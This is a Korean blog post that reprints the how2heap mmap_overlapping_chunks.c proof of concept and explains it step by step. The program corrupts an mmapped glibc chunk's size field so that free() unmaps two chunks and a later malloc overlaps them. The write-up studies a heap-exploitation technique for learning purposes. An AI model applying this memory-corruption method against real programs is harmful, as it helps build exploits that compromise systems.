#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>
/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main()
{
/*
A primer on Mmap chunks in GLibC
==================================
In GLibC, there is a point where an allocation is so large that malloc
decides that we need a seperate section of memory for it, instead
of allocating it on the normal heap. This is determined by the mmap_threshold var.
Instead of the normal logic for getting a chunk, the system call *Mmap* is
used. This allocates a section of virtual memory and gives it back to the user.
Similarly, the freeing process is going to be different. Instead
of a free chunk being given back to a bin or to the rest of the heap,
another syscall is used: *Munmap*. This takes in a pointer of a previously
allocated Mmap chunk and releases it back to the kernel.
Mmap chunks have special bit set on the size metadata: the second bit. If this
bit is set, then the chunk was allocated as an Mmap chunk.
Mmap chunks have a prev_size and a size. The *size* represents the current
size of the chunk. The *prev_size* of a chunk represents the left over space
from the size of the Mmap chunk (not the chunks directly belows size).
However, the fd and bk pointers are not used, as Mmap chunks do not go back
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
the chunk must be page-aligned.
The POC below is essentially an overlapping chunk attack but on mmap chunks.
This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
The main difference is that mmapped chunks have special properties and are
handled in different ways, creating different attack scenarios than normal
overlapping chunk attacks. There are other things that can be done,
such as munmapping system libraries, the heap itself and other things.
This is meant to be a simple proof of concept to demonstrate the general
way to perform an attack on an mmap chunk.
For more information on mmap chunks in GLibC, read this post:
http://tukan.farm/2016/07/27/munmap-madness/
*/
int* ptr1 = malloc(0x10);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
/*
This next call to free is actually just going to call munmap on the pointer we are passing it.
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845
With normal frees the data is still writable and readable (which creates a use after free on
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
data is read or written to, the program crashes.
Because of this added restriction, the main goal is to get the memory back from the system
to have two pointers assigned to the same location.
*/
// Munmaps both the second and third pointers
free(mmap_chunk_3);
/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/
/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased to 0x202000.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
_exit(0); // exit early just in case we corrupted some libraries
}
시작하기 전
mmap 매핑이란?
커널이 페이지 단위로 가상 메모리 영역을 직접 할당해주는 방식
glibc의 malloc은 작은 요청은 일반 힙(브레이크/arenas)에서 처리하고, 매우 큰 요청은 mmap()으로 별도 영역을 받아서 돌려준다.
이 기준을 mmap_threshold라고 부르고, 구현/버전에 따라 값과 동작이 다르다. (환경/버전에 따라 달라서 항상 동일하진 않음)
mmapped chunk는 free() 되면 munmap()으로 커널에 반환된다(일반 free와 다름).
mmapped chunk의 메타데이터 size 필드에는 특수 비트이 있음(예: mmap 여부를 표시하는 비트). 이걸 이용해 POC 같은 공격 시나리오가 가능함.

특징은
- 별도의 가상주소 연속 영역을 할당하므로 힙 영역과 물리적으로 분리된다.
- munmap() 이후 기존 주소에 접근하면 SIGSEGV(프로세스 크래시).
- malloc이 반환한 포인터 뒤쪽에 청크 헤더(메타데이터)가 존재하므로, POC처럼 ptr[-1]로 size를 읽는 방법을 쓰는 건 구현 의존적이고 UB(정의되지 않은 동작)다. 하지만 실제 glibc 구현에서는 이런 방식으로 메타데이터가 저장돼 있어 POC들이 이런 접근을 활용함.
- mmapped 영역은 페이지 단위로 관리되므로 size/정렬 규칙이 페이지 경계와 연관됨
1. 일반 힙 영역 (heap via brk/sbrk)
- 우리가 흔히 생각하는 "힙"은 프로세스 데이터 영역 끝부분부터 확장(brk) 해서 사용하는 영역이다.
- 작은 malloc() 요청은 대부분 여기서 처리된다.
- 구조적으로는 하나의 연속된 메모리 블록이고, 내부에서 bins, chunk metadata 등으로 관리된다.
특징
| 할당 방식 | brk() 시스템콜로 힙 영역 확장 |
| 해제 시 | free() 후에도 실제로 커널에 반환되지 않음 (bins로 돌아감) |
| 관리 단위 | 여러 개의 작은 chunk (fd, bk로 연결된 리스트 구조) |
| 장점 | 작은 요청에 효율적 |
| 단점 | fragmentation(단편화), 커널 반환이 안 됨 |
2. mmap 영역 (anonymous mapping)
- 반대로, 매우 큰 malloc 요청은 glibc 내부에서 판단 후 mmap()으로 따로 가상주소 공간의 다른 위치에 직접 매핑한다.
- 이건 힙(brk)과는 완전히 별개의 영역 — 보통 힙 아래나 위쪽 주소에 배치됨.
- 이 chunk는 MMAP_BIT가 켜져 있어서 glibc가 이건 mmap으로 할당된 chunk라고 구분함.
특징
| 할당 방식 | mmap() 시스템콜 (페이지 단위 매핑) |
| 해제 시 | free() → 내부적으로 munmap() 호출 → 커널에 즉시 반환 |
| 관리 단위 | 독립된 mmap chunk (bins 없음) |
| 장점 | 커널이 직접 관리 → 큰 메모리에 효율적, 바로 반환 가능 |
| 단점 | 작은 크기엔 비효율적 (페이지 단위 매핑, 메타데이터 오버헤드) |
분석 시작
int* ptr1 = malloc(0x10);
작은 더미를 할당한다.

long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

다음과 같이 heap에서는 찾을 수 없다.

mmap에서 다음과 같이 할당되어 있는 부분이 있다.
anon이란 커널로부터 프로세스에게 할당된 일반적인 메모리 페이지
heap을 거치지 않고 할당받은 메모리 공간이다.
printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
glibc 구현 상, 사용자 포인터 바로 앞에 청크 헤더가 있고,
[-1] = size, [-2] = prev_size 이다.
Prev Size of third mmap chunk: 0x0
Size of third mmap chunk: 0x101002
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
3번째 청크의 size를 늘려서 2번째 청크까지 포함시키는 값으로 만듦.
마스킹 0xFFFFFFFFFD는 하위 flag 비트 제거 의도(align/flag 보정). 그 뒤 두 size를 더하고 | 2로 MMAP 비트(두 번째 비트) 유지.
결과: glibc의 free 경로에서 “이 청크는 이만큼 크다”고 믿고 두 영역(2nd+3rd)을 한 번에 munmap 하게 만듦.

free(mmap_chunk_3);
힙 청크면 bin에 넣겠지만, mmap 청크이므로 내부적으로 munmap(2nd+3rd)가 실행됨.따라서 mmap_chunk_2와 mmap_chunk_3 주소 범위는 프로세스 주소공간에서 해제됨(접근 시 SIGSEGV).

이 전 사진과 비교해보면 중간에
0x7ffff7c9a000 0x7ffff7d9e000 rw-p 104000 0 [anon_7ffff7c9a]
이 부분의 사이즈가 커진 것을 알 수 있다.
long long* overlapping_chunk = malloc(0x300000);
여기서 이 부분보다 더 큰 요청으로 재할당하면
성공하면 overlapping_chunk가 예전 mmap_chunk_2가 있던 범위를 겹쳐 차지.

다음과 같이 새로운 더 큰 값이 할당된다.
int distance = mmap_chunk_2 - overlapping_chunk;
overlapping_chunk[distance] = 0x1122334455667788;
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
여기서 오버래핑 된 곳을 검증한다.
overlapping_chunk[distance]에 기록 → 실은 옛날 mmap_chunk_2[0] 위치와 같음.
같은 값이 찍히면 겹침(Overlapping) 성공.
Second chunk value (after write): 0x1122334455667788
Overlapped chunk value: 0x1122334455667788
Boom! The new chunk has been overlapped with a previous mmaped chunk
_exit(0);
메모리가 망가질 가능성이 있어 종료한다.
'pwanble' 카테고리의 다른 글
| [How2Heap] - house_of_einherjar.c (1) | 2025.11.14 |
|---|---|
| [How2Heap] - overlapping_chunks.c (0) | 2025.11.03 |
| [How2Heap] - house_of_lore.c (0) | 2025.10.30 |
| [How2Heap] - house_of_spirit.c (0) | 2025.10.28 |
| [Fuzzing101] Exercise 2 (0) | 2025.09.20 |